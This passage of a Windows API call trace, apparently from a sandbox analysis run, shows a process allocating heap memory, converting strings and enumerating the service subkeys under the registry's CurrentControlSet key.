[0256.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0256.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.373] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0256.373] RegCloseKey (hKey=0x148) returned 0x0 [0256.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0256.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0256.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0256.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0256.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0256.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0256.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0256.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0256.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0256.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0256.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0256.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.375] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0256.375] RegCloseKey (hKey=0x154) returned 0x0 [0256.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0256.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0256.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0256.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0256.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a00, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0256.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0256.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0256.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f19b8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0256.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0256.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0256.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a00, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0256.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0256.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0256.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f19b8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0256.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0256.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0256.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a00, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0256.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0256.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0256.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0256.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0256.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0256.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0256.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0256.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0256.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0256.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0256.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f19b8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0256.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0256.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0256.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0256.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0256.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0256.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0256.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0256.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", 